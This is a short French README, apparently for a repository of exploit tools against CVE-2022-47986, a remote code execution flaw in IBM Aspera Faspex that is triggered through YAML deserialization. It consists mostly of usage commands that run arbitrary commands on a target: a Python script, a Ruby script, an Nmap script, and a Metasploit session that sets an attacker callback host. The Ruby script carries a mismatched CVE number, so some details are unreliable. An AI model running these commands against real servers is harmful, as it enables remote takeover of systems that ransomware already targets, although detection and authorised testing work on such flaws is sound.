
CVE-2022-47986 : modules Python, Ruby, NMAP et Metasploit pour exploiter la vulnérabilité.
Cette vulnérabilité est exploitée activement. IceFire utilise cette vulnérabilité pour déployer le ransomware sur les systèmes ciblés. Je souhaite aider les équipes SOC/Blue à identifier les systèmes impactés et les équipes Pentesters/Red à l'exploiter et à la signaler.
Je propose des scripts en Python et Ruby purs, des modules Metasploit et Nmap pour exploiter la vulnérabilité qui provoque une RCE (Exécution de code à distance) sur IBM Aspera Faspex à partir d'une désérialisation YAML.
python3 CVE-2022-47986.py <target> <command>
# OR
chmod u+x CVE-2022-47986.py
./CVE-2022-47986.py https://aspera.faspax.local id
ruby CVE-2021-31166.rb
ruby CVE-2021-31166.rb <hostname> -c <command>
ruby CVE-2021-31166.rb aspera.faspax.local -c id
msf6 > use exploit/linux/http/ibm_aspera_faspex_rce_yaml_deserialization
msf6 exploit(linux/http/ibm_aspera_faspex_rce_yaml_deserialization) > set RHOST 10.10.10.10
RHOST => 10.10.10.10
msf6 exploit(linux/http/ibm_aspera_faspex_rce_yaml_deserialization) > set LHOST 192.168.77.139
LHOST => 192.168.77.139
msf6 exploit(linux/http/ibm_aspera_faspex_rce_yaml_deserialization) > exploit
nmap -p 443 --script ibm-aspera-faspex-rce 172.17.0.2
nmap -p 443 --script ibm-aspera-faspex-rce --script-args "command=id" 172.17.0.2
Sous licence GPL, version 3.